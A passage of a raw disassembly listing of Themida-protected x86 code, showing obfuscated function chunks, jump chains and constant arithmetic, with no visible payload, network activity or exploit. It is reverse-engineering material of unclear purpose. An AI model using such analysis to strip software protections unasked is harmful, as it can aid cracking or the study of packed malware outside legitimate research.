FUNCTION CHUNK FOR sub_59196D loc_59167D: ; CODE XREF: sub_59196D+4293j sub edi, 0EE5635DFh jmp loc_596876 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_591688: ; CODE XREF: Themida_:0058E7D3j mov [esp], eax jmp loc_58FBBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_591690: ; CODE XREF: sub_59196D-4AE4j imul cl jmp loc_5974BD ; --------------------------------------------------------------------------- loc_591697: ; CODE XREF: sub_59196D-36FCj pop ebx pop edi sub esp, 4 mov [esp+24h+var_26+2], eax mov eax, 5D9C78C6h jmp loc_5975F1 ; --------------------------------------------------------------------------- loc_5916AC: ; CODE XREF: sub_59196D-276Aj sub ebx, ebp pop ebp xor edx, ebx pop ebx and eax, edx mov edx, [esp+14h+var_16+2] push eax jmp loc_594FC3 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_5916BD: ; DATA XREF: Themida_:0058B0CCo mov ax, [esp] jmp loc_58E7BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_5916C6: ; CODE XREF: sub_59196D-533Fj add [esp+0Ch+var_C], 4 push [esp+0Ch+var_C] pop edx add esp, 4 push ebx push edx push 7042C19h pop edx xor edx, 7042C1Dh mov ebx, edx mov edx, [esp+10h+var_12+2] jmp loc_59368B ; --------------------------------------------------------------------------- loc_5916EC: ; CODE XREF: sub_59196D+4170j xchg eax, [esp+10h+var_12+2] jmp loc_598352 ; --------------------------------------------------------------------------- loc_5916F4: ; CODE XREF: sub_59196D+2830j sub esi, 0CD37C5Dh jge loc_5924CC jmp loc_5948C1 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- not ecx inc ecx jmp loc_59709D ; --------------------------------------------------------------------------- loc_59170D: ; DATA XREF: Themida_:0058B330o neg word ptr [esp] pushf jmp loc_58B37B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_591717: ; CODE XREF: sub_59196D+2CE3j jno loc_590DDA neg esi xor esi, 0FB636B2h ja loc_5983D0 pop ecx loc_59172C: ; CODE XREF: sub_59196D-4CB2j shr edi, 3 sub edi, 0ED7A4E0Eh and ebx, edi pop edi jmp loc_58E9D3 ; --------------------------------------------------------------------------- loc_59173D: ; CODE XREF: sub_59196D-B04j sub edx, ebx pop ebx jmp sub_58BB31 ; --------------------------------------------------------------------------- loc_591745: ; CODE XREF: sub_59196D+3F53j add esi, 4 xchg esi, [esp+0] pop esp sub ecx, 0C5F2FC0Bh mov edx, ecx jmp loc_594A98 ; --------------------------------------------------------------------------- loc_59175C: ; CODE XREF: sub_59196D-314Dj sub al, 0F8h jmp loc_58D04D ; --------------------------------------------------------------------------- loc_591763: ; CODE XREF: sub_59196D-B3Cj pop edi mov edi, [esp+28h+var_2A+2] push ecx jmp loc_5974FD ; --------------------------------------------------------------------------- loc_59176D: ; CODE XREF: sub_59196D-62Ej mov edi, 0B643F596h add edi, ebx pop ebx mov ebp, edi pop edi add ebp, 0FFFFFFFFh sub ebp, 1D28619Ch jmp loc_593CC6 ; --------------------------------------------------------------------------- loc_591786: ; CODE XREF: sub_59196D+5014j push ebp mov ebp, 4 jmp loc_58DEF1 ; --------------------------------------------------------------------------- loc_591791: ; CODE XREF: sub_59196D+1A89j dec ecx jmp loc_5906DA ; --------------------------------------------------------------------------- loc_591797: ; CODE XREF: sub_59196D+4F41j mov edi, ebp push [esp+32h+var_32] pop ebp jmp loc_59535D ; --------------------------------------------------------------------------- loc_5917A2: ; CODE XREF: sub_59196D+1E89j mov [esp+32h+var_32], eax jmp loc_58F90F ; --------------------------------------------------------------------------- loc_5917AA: ; CODE XREF: sub_59196D-65CEj mov ecx, 480641D3h jmp loc_597413 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EF7E loc_5917B4: ; CODE XREF: sub_58EF7E+15j mov ebx, [esp+0] add esp, 4 jmp loc_595A3C ; END OF FUNCTION CHUNK FOR sub_58EF7E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_5917BF: ; CODE XREF: sub_59196D-4849j pop esi sub edx, ebp push ebp push esi mov esi, 592B11B8h jmp loc_597479 ; --------------------------------------------------------------------------- loc_5917CE: ; CODE XREF: sub_59196D+4529j pop esi jmp loc_58CC22 ; --------------------------------------------------------------------------- loc_5917D4: ; CODE XREF: sub_59196D+3381j push cx mov cx, 5BCBh sub ax, cx pop cx jmp loc_58C5C3 ; --------------------------------------------------------------------------- loc_5917E4: ; CODE XREF: sub_59196D:loc_58B7D9j ; sub_59196D:loc_58C361j sub ebp, 57CD3593h jns loc_594B2A jmp loc_58FAC9 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- inc ebx mov ah, 0E0h mov cl, 0A6h ; =============== S U B R O U T I N E ======================================= sub_5917FA proc near ; CODE XREF: sub_59196D+63B1j var_6 = word ptr -6 ; FUNCTION CHUNK AT 0058EA6C SIZE 0000000A BYTES push ebx mov bh, 1Eh push small 2290h mov [esp+6+var_6], cx mov ch, 0EBh add bh, ch jmp loc_58EA6C sub_5917FA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_59180E: ; CODE XREF: sub_59196D+4F8Dj push dx mov dh, 80h add al, dh pop dx add al, bl sub al, 80h jmp loc_594EF2 ; --------------------------------------------------------------------------- loc_59181F: ; CODE XREF: sub_59196D-10D9j mov edi, 3176126Dh mov ebp, 4AF47597h jmp loc_58BD69 ; --------------------------------------------------------------------------- loc_59182E: ; CODE XREF: sub_59196D-56CFj or dl, 61h push ebx mov bl, 0F4h shr bl, 7 dec bl jmp loc_594D5E ; --------------------------------------------------------------------------- loc_59183E: ; CODE XREF: sub_59196D-254Fj add ebx, 334B6B65h add ebx, 1507045Bh sub ebx, esi jmp loc_592427 ; --------------------------------------------------------------------------- loc_591851: ; CODE XREF: sub_59196D-1801j ; sub_59196D+35A3j push esi jmp sub_58F0FA ; --------------------------------------------------------------------------- loc_591857: ; CODE XREF: sub_59196D-5E69j add edi, 4 jmp loc_58EFC9 ; --------------------------------------------------------------------------- loc_59185F: ; CODE XREF: sub_59196D-17F1j jmp loc_58F517 ; --------------------------------------------------------------------------- loc_591864: ; CODE XREF: sub_59196D+4A5Bj xchg ebx, [esp+1Ch+var_1E+2] pop esp push ebp jmp loc_59123E ; --------------------------------------------------------------------------- loc_59186E: ; CODE XREF: sub_59196D+2558j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_591873: ; CODE XREF: sub_59196D+117Fj add esp, 4 add ebx, ebp pop ebp not ebx add ebx, 4B83501h push edi mov edi, 20263190h push ecx mov ecx, 59765FE4h jmp loc_598375 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_591895: ; DATA XREF: Themida_:0058B110o mov ax, [esp] push ebx jmp loc_593366 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_59189F: ; CODE XREF: sub_59196D+C83j add esp, 4 jmp loc_58E524 ; --------------------------------------------------------------------------- loc_5918A7: ; CODE XREF: sub_59196D+63CFj mov eax, [esp+18h+var_1A+2] add esp, 4 push 1868h mov [esp+18h+var_1A+2], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+18h+var_1A+2] mov esp, [esp+18h+var_1A+2] jmp loc_58D7C3 ; --------------------------------------------------------------------------- loc_5918CC: ; CODE XREF: sub_59196D+3AC9j mov esi, 6E17280Ch add esi, 0A6CCD8CEh and ebp, esi pop esi jmp loc_597432 ; --------------------------------------------------------------------------- loc_5918DF: ; CODE XREF: sub_59196D-6498j add ch, dl pop edx jmp loc_590F5E ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_5918E7 proc near ; CODE XREF: sub_59196D-2BD2j ; FUNCTION CHUNK AT 0058FEF4 SIZE 0000000E BYTES push ebp mov ebp, 4 add edi, ebp pop ebp jmp loc_58FEF4 sub_5918E7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_5918F5: ; CODE XREF: sub_59196D-6355j pop ecx add al, 76h sub al, dh sub al, 76h mov dx, word ptr [esp+10h+var_12+2] add esp, 2 push 0CFDh mov [esp+10h+var_12+2], ecx mov cl, 12h or cl, 7Dh push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+14h+var_16+2] jmp loc_590572 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_59192A proc near ; CODE XREF: sub_59196D+2F2Ej arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058EBBC SIZE 0000000B BYTES push ebp mov ebp, 4 sub ebx, ebp pop ebp xchg ebx, [esp+0] pop esp mov [esp-4+arg_0], ecx push edx mov dl, 8Ah shl dl, 4 jmp loc_58EBBC sub_59192A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_591945: ; CODE XREF: sub_59196D-2FE8j sub ebp, 67712331h jmp loc_58B44D ; --------------------------------------------------------------------------- loc_591950: ; CODE XREF: sub_59196D-427Aj add esi, 6ADB07FEh and esi, 3E337CD7h xor esi, 4F331BA8h push ecx mov ecx, 451223FEh jmp loc_590BFE ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_59196D proc near ; DATA XREF: Themida_:0058B124o var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5A = dword ptr -5Ah var_54 = dword ptr -54h var_4E = dword ptr -4Eh var_4A = dword ptr -4Ah var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_36 = dword ptr -36h var_32 = dword ptr -32h var_2E = dword ptr -2Eh var_2A = dword ptr -2Ah var_26 = dword ptr -26h var_22 = dword ptr -22h var_1E = dword ptr -1Eh var_1A = dword ptr -1Ah var_16 = dword ptr -16h var_12 = dword ptr -12h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch arg_1C = dword ptr 20h arg_20 = dword ptr 24h arg_24 = dword ptr 28h arg_28 = dword ptr 2Ch arg_2C = dword ptr 30h arg_30 = dword ptr 34h arg_34 = dword ptr 38h ; FUNCTION CHUNK AT 0058B37B SIZE 000000C9 BYTES ; FUNCTION CHUNK AT 0058B44D SIZE 0000008D BYTES ; FUNCTION CHUNK AT 0058B504 SIZE 000000F7 BYTES ; FUNCTION CHUNK AT 0058B602 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058B616 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058B638 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058B670 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0058B6AE SIZE 00000050 BYTES ; FUNCTION CHUNK AT 0058B71B SIZE 00000041 BYTES ; FUNCTION CHUNK AT 0058B764 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058B781 SIZE 0000005D BYTES ; FUNCTION CHUNK AT 0058B7E6 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058B812 SIZE 0000004D BYTES ; FUNCTION CHUNK AT 0058B86A SIZE 00000054 BYTES ; FUNCTION CHUNK AT 0058B8F6 SIZE 00000099 BYTES ; FUNCTION CHUNK AT 0058B998 SIZE 00000193 BYTES ; FUNCTION CHUNK AT 0058BB52 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058BB6F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058BB85 SIZE 000000A8 BYTES ; FUNCTION CHUNK AT 0058BC3F SIZE 00000081 BYTES ; FUNCTION CHUNK AT 0058BCD9 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0058BD16 SIZE 000000B9 BYTES ; FUNCTION CHUNK AT 0058BDF0 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0058BE1D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058BE30 SIZE 000000D3 BYTES ; FUNCTION CHUNK AT 0058BF1D SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0058BF54 SIZE 0000024A BYTES ; FUNCTION CHUNK AT 0058C229 SIZE 0000014D BYTES ; FUNCTION CHUNK AT 0058C3A1 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0058C3E1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058C3FA SIZE 00000185 BYTES ; FUNCTION CHUNK AT 0058C58A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058C5C3 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0058C602 SIZE 0000003E BYTES ; FUNCTION CHUNK AT 0058C64A SIZE 00000043 BYTES ; FUNCTION CHUNK AT 0058C69E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058C6D1 SIZE 00000099 BYTES ; FUNCTION CHUNK AT 0058C76F SIZE 00000072 BYTES ; FUNCTION CHUNK AT 0058C7F7 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0058C829 SIZE 00000054 BYTES ; FUNCTION CHUNK AT 0058C8D8 SIZE 0000008C BYTES ; FUNCTION CHUNK AT 0058C974 SIZE 00000044 BYTES ; FUNCTION CHUNK AT 0058C9BE SIZE 0000004E BYTES ; FUNCTION CHUNK AT 0058CA4C SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0058CA74 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058CA98 SIZE 0000023E BYTES ; FUNCTION CHUNK AT 0058CCDF SIZE 0000003B BYTES ; FUNCTION CHUNK AT 0058CD20 SIZE 0000005E BYTES ; FUNCTION CHUNK AT 0058CD8B SIZE 00000043 BYTES ; FUNCTION CHUNK AT 0058CDEC SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0058CE22 SIZE 00000059 BYTES ; FUNCTION CHUNK AT 0058CE81 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058CEB2 SIZE 00000059 BYTES ; FUNCTION CHUNK AT 0058CF1C SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058CF3F SIZE 00000098 BYTES ; FUNCTION CHUNK AT 0058CFEB SIZE 000000BC BYTES ; FUNCTION CHUNK AT 0058D0C9 SIZE 00000045 BYTES ; FUNCTION CHUNK AT 0058D122 SIZE 000002A5 BYTES ; FUNCTION CHUNK AT 0058D3D9 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0058D41E SIZE 00000103 BYTES ; FUNCTION CHUNK AT 0058D544 SIZE 00000071 BYTES ; FUNCTION CHUNK AT 0058D5C8 SIZE 00000057 BYTES ; FUNCTION CHUNK AT 0058D62E SIZE 00000043 BYTES ; FUNCTION CHUNK AT 0058D68C SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0058D6B6 SIZE 00000073 BYTES ; FUNCTION CHUNK AT 0058D76E SIZE 00000050 BYTES ; FUNCTION CHUNK AT 0058D7C3 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058D7EA SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058D81C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058D838 SIZE 0000008C BYTES ; FUNCTION CHUNK AT 0058D8C9 SIZE 00000145 BYTES ; FUNCTION CHUNK AT 0058DA28 SIZE 0000006E BYTES ; FUNCTION CHUNK AT 0058DA9F SIZE 0000009A BYTES ; FUNCTION CHUNK AT 0058DB41 SIZE 00000107 BYTES ; FUNCTION CHUNK AT 0058DC52 SIZE 0000006F BYTES ; FUNCTION CHUNK AT 0058DCDD SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0058DD16 SIZE 00000149 BYTES ; FUNCTION CHUNK AT 0058DE62 SIZE 0000007C BYTES ; FUNCTION CHUNK AT 0058DEF1 SIZE 00000104 BYTES ; FUNCTION CHUNK AT 0058E001 SIZE 000000AD BYTES ; FUNCTION CHUNK AT 0058E0B7 SIZE 0000007E BYTES ; FUNCTION CHUNK AT 0058E13A SIZE 0000008E BYTES ; FUNCTION CHUNK AT 0058E1EA SIZE 00000041 BYTES ; FUNCTION CHUNK AT 0058E23F SIZE 00000178 BYTES ; FUNCTION CHUNK AT 0058E3D7 SIZE 0000008B BYTES ; FUNCTION CHUNK AT 0058E46B SIZE 00000066 BYTES ; FUNCTION CHUNK AT 0058E4EF SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058E51E SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0058E54E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058E567 SIZE 00000058 BYTES ; FUNCTION CHUNK AT 0058E5E2 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0058E630 SIZE 000000EF BYTES ; FUNCTION CHUNK AT 0058E776 SIZE 00000047 BYTES ; FUNCTION CHUNK AT 0058E7D8 SIZE 0000005B BYTES ; FUNCTION CHUNK AT 0058E83C SIZE 000000CD BYTES ; FUNCTION CHUNK AT 0058E90A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058E930 SIZE 000000C3 BYTES ; FUNCTION CHUNK AT 0058EA09 SIZE 00000063 BYTES ; FUNCTION CHUNK AT 0058EA92 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0058EB0A SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0058EB3B SIZE 00000077 BYTES ; FUNCTION CHUNK AT 0058EBC7 SIZE 0000013E BYTES ; FUNCTION CHUNK AT 0058ED2B SIZE 00000035 BYTES ; FUNCTION CHUNK AT 0058ED82 SIZE 0000004B BYTES ; FUNCTION CHUNK AT 0058EDD5 SIZE 0000003F BYTES ; FUNCTION CHUNK AT 0058EE4B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058EE6D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058EE7E SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0058EEA5 SIZE 00000072 BYTES ; FUNCTION CHUNK AT 0058EF1C SIZE 00000053 BYTES ; FUNCTION CHUNK AT 0058EF75 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058EF98 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0058EFC9 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058EFF0 SIZE 00000068 BYTES ; FUNCTION CHUNK AT 0058F074 SIZE 00000086 BYTES ; FUNCTION CHUNK AT 0058F11D SIZE 000000EB BYTES ; FUNCTION CHUNK AT 0058F217 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058F22C SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0058F254 SIZE 000001A2 BYTES ; FUNCTION CHUNK AT 0058F3F8 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0058F436 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0058F487 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0058F4BC SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0058F4F6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058F50F SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0058F542 SIZE 0000007F BYTES ; FUNCTION CHUNK AT 0058F5DC SIZE 0000031A BYTES ; FUNCTION CHUNK AT 0058F90F SIZE 000000A0 BYTES ; FUNCTION CHUNK AT 0058F9B8 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0058F9E2 SIZE 000001BD BYTES ; FUNCTION CHUNK AT 0058FBC7 SIZE 0000003C BYTES ; FUNCTION CHUNK AT 0058FC0C SIZE 00000047 BYTES ; FUNCTION CHUNK AT 0058FC5B SIZE 0000003F BYTES ; FUNCTION CHUNK AT 0058FCB0 SIZE 0000008B BYTES ; FUNCTION CHUNK AT 0058FD4B SIZE 00000046 BYTES ; FUNCTION CHUNK AT 0058FDB0 SIZE 00000063 BYTES ; FUNCTION CHUNK AT 0058FE37 SIZE 000000BD BYTES ; FUNCTION CHUNK AT 0058FF02 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058FF86 SIZE 0000010B BYTES ; FUNCTION CHUNK AT 0059009D SIZE 00000095 BYTES ; FUNCTION CHUNK AT 00590144 SIZE 00000043 BYTES ; FUNCTION CHUNK AT 00590191 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 005901C7 SIZE 00000047 BYTES ; FUNCTION CHUNK AT 0059021E SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00590253 SIZE 0000007D BYTES ; FUNCTION CHUNK AT 005902E5 SIZE 000000D0 BYTES ; FUNCTION CHUNK AT 005903BF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005903DA SIZE 0000005E BYTES ; FUNCTION CHUNK AT 0059044D SIZE 0000003F BYTES ; FUNCTION CHUNK AT 00590493 SIZE 00000073 BYTES ; FUNCTION CHUNK AT 0059050F SIZE 00000071 BYTES ; FUNCTION CHUNK AT 005905A5 SIZE 00000042 BYTES ; FUNCTION CHUNK AT 0059060C SIZE 0000006B BYTES ; FUNCTION CHUNK AT 005906A0 SIZE 0000004B BYTES ; FUNCTION CHUNK AT 005906FA SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0059071E SIZE 00000068 BYTES ; FUNCTION CHUNK AT 005907A6 SIZE 0000008D BYTES ; FUNCTION CHUNK AT 0059083B SIZE 0000007D BYTES ; FUNCTION CHUNK AT 005908DD SIZE 00000055 BYTES ; FUNCTION CHUNK AT 0059094A SIZE 00000073 BYTES ; FUNCTION CHUNK AT 005909C3 SIZE 0000005C BYTES ; FUNCTION CHUNK AT 00590A25 SIZE 00000060 BYTES ; FUNCTION CHUNK AT 00590A95 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00590AAE SIZE 000000E0 BYTES ; FUNCTION CHUNK AT 00590B9A SIZE 00000046 BYTES ; FUNCTION CHUNK AT 00590BFE SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00590C3E SIZE 0000009D BYTES ; FUNCTION CHUNK AT 00590CFD SIZE 0000004C BYTES ; FUNCTION CHUNK AT 00590D4A SIZE 00000142 BYTES ; FUNCTION CHUNK AT 00590E98 SIZE 0000004B BYTES ; FUNCTION CHUNK AT 00590EF4 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00590F23 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00590F51 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00590F88 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00590FBF SIZE 00000041 BYTES ; FUNCTION CHUNK AT 00591008 SIZE 0000006F BYTES ; FUNCTION CHUNK AT 00591082 SIZE 0000007C BYTES ; FUNCTION CHUNK AT 00591115 SIZE 00000176 BYTES ; FUNCTION CHUNK AT 005912E6 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00591317 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0059133A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00591359 SIZE 000000F6 BYTES ; FUNCTION CHUNK AT 005914A1 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005914BF SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00591507 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00591539 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00591557 SIZE 00000109 BYTES ; FUNCTION CHUNK AT 0059167D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00591690 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 005916C6 SIZE 0000003F BYTES ; FUNCTION CHUNK AT 00591717 SIZE 0000009D BYTES ; FUNCTION CHUNK AT 005917BF SIZE 00000036 BYTES ; FUNCTION CHUNK AT 0059180E SIZE 00000087 BYTES ; FUNCTION CHUNK AT 0059189F SIZE 00000048 BYTES ; FUNCTION CHUNK AT 005918F5 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 00591945 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0059841A SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00598445 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 005984A0 SIZE 000000C5 BYTES ; FUNCTION CHUNK AT 0059856D SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0059859A SIZE 000000E2 BYTES sub esp, 4 jmp loc_59621D ; --------------------------------------------------------------------------- loc_591978: ; CODE XREF: sub_59196D+CA2j mov word ptr [esp+1Ch+var_1E+2], cx jmp loc_58B37B ; --------------------------------------------------------------------------- loc_591981: ; CODE XREF: sub_59196D+1ED2j add edx, eax push [esp+1Ch+var_1E+2] pop eax push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+20h+var_22+2] jmp loc_595E9B ; --------------------------------------------------------------------------- loc_59199E: ; CODE XREF: sub_59196D-5070j add esp, 4 push ebx mov bh, dl jmp loc_5935AA ; --------------------------------------------------------------------------- loc_5919A9: ; CODE XREF: sub_59196D+4247j pop eax add bl, al jmp loc_58F6AD ; --------------------------------------------------------------------------- loc_5919B1: ; CODE XREF: sub_59196D+22C1j push esi push 4 pop esi sub edi, esi pop esi jmp loc_59356B ; --------------------------------------------------------------------------- loc_5919C0: ; CODE XREF: sub_58EE14+32j add [esp+2Eh+var_2E], 4 pop eax add eax, 4 push esi jmp loc_593AB5 ; --------------------------------------------------------------------------- loc_5919D3: ; CODE XREF: Themida_:0058EB05j xchg eax, [esp+2Eh+var_2E] pop esp jmp loc_59616A ; --------------------------------------------------------------------------- loc_5919DC: ; CODE XREF: sub_59196D+2D45j xchg edx, [esp+2Ah+var_2A] pop esp push [esp+26h+var_26] pop eax sub esp, 4 mov [esp+2Ah+var_2A], esi jmp loc_58BF79 ; --------------------------------------------------------------------------- loc_5919EF: ; CODE XREF: sub_59196D+1BDBj xchg eax, [esp+2Ah+var_2A] pop esp jmp loc_5941A2 ; --------------------------------------------------------------------------- loc_5919F8: ; CODE XREF: sub_59196D+D98j pop ebx or ebx, 76135884h add ebx, 60EB01B6h mov ecx, ebx mov ebx, [esp+22h+var_22] add esp, 4 push edi push ebp mov ebp, 66F51BD7h sub ebp, 5F1FDEF6h mov edi, ebp pop ebp neg edi jmp loc_59728E ; --------------------------------------------------------------------------- loc_591A27: ; CODE XREF: sub_59196D+6383j add esi, edx add esi, 29E20168h pop edx jmp loc_59615F ; --------------------------------------------------------------------------- loc_591A35: ; CODE XREF: sub_59196D+1BF1j mov esi, 388233DFh inc esi jmp loc_595453 ; --------------------------------------------------------------------------- loc_591A40: ; CODE XREF: sub_59196D+1261j xor edi, 10614540h push eax mov eax, 2A85F51h shr eax, 5 xor eax, 11E60BDEh jmp loc_59710E ; --------------------------------------------------------------------------- loc_591A59: ; CODE XREF: Themida_:0059018Cj ; sub_59196D+1399j ... not ecx sub ecx, 0A0BF8F6Eh push ebp jmp loc_58B42E ; --------------------------------------------------------------------------- loc_591A67: ; CODE XREF: sub_59196D-3169j pop bx sub esp, 4 mov [esp+16h+var_16], edx jmp loc_58C486 ; --------------------------------------------------------------------------- loc_591A77: ; CODE XREF: sub_59196D+4D3j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_591A7C: ; CODE XREF: sub_59196D+42E3j mov [esp+16h+var_16], ecx mov ecx, 332A38A4h jmp loc_58D6D3 ; --------------------------------------------------------------------------- loc_591A89: ; CODE XREF: sub_59196D+2A4Fj pop esp push ebx push edx jmp loc_5931EF ; --------------------------------------------------------------------------- loc_591A91: ; CODE XREF: sub_59196D+3DA1j push [esp+1Ah+var_16] mov edi, [esp+1Eh+var_1E] add esp, 4 jmp loc_5905AA ; --------------------------------------------------------------------------- loc_591AA3: ; CODE XREF: sub_59196D+326Aj and ecx, 615C4002h jmp loc_597A34 ; --------------------------------------------------------------------------- loc_591AAE: ; CODE XREF: sub_59196D-3189j push ecx push [esp+1Ch+var_1A+2] pop ecx pop [esp+1Ch+var_1E+2] pop esp push 2114h mov [esp+18h+var_1A+2], edx mov edx, 1 and ecx, edx push [esp+18h+var_1A+2] mov edx, [esp+1Ch+var_1E+2] add esp, 4 push 1EC3h mov [esp+1Ch+var_1E+2], edi push esp pop edi push edx mov edx, 4 add edi, edx mov edx, [esp+20h+var_22+2] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5901C7 ; --------------------------------------------------------------------------- loc_591AFC: ; CODE XREF: sub_59196D+74Bj sub edx, 34B865AFh jp loc_5915B9 xor edx, 76D5B12h mov edi, edx pop edx and edi, 49A87299h jns loc_595523 sub edi, 0FFFFFFFFh or edi, 68ED47C5h pop esi loc_591B27: ; CODE XREF: sub_59196D-147Dj mov edi, 66CF2A74h shr edi, 3 jmp loc_5984D4 ; --------------------------------------------------------------------------- loc_591B34: ; CODE XREF: sub_59196D+4059j xor edi, 17F351DBh add edi, 1 shr edi, 8 add edi, 0FFAB2088h add ecx, edi pop edi push edi mov edi, 3A943F08h xor edi, 74700D6Ah xor edi, 5454254Fh jmp loc_58F65B ; --------------------------------------------------------------------------- loc_591B60: ; CODE XREF: sub_59196D+231Bj jmp loc_59539F ; --------------------------------------------------------------------------- loc_591B65: ; CODE XREF: sub_59196D+5E0j push ebp push 47E9234Ch pop ebp add ebp, 1 shr ebp, 1 jmp loc_58FC66 ; --------------------------------------------------------------------------- loc_591B79: ; CODE XREF: sub_59196D-2211j sub ebx, ebp push [esp+18h+var_1A+2] pop ebp add esp, 4 push esi mov esi, 7D8C7B83h sub ebx, esi jmp loc_59507F ; --------------------------------------------------------------------------- loc_591B8F: ; CODE XREF: sub_59196D+33B1j ; sub_59196D+4092j movzx cx, ah push small 26A5h mov word ptr [esp+1Ah+var_1A], cx movzx 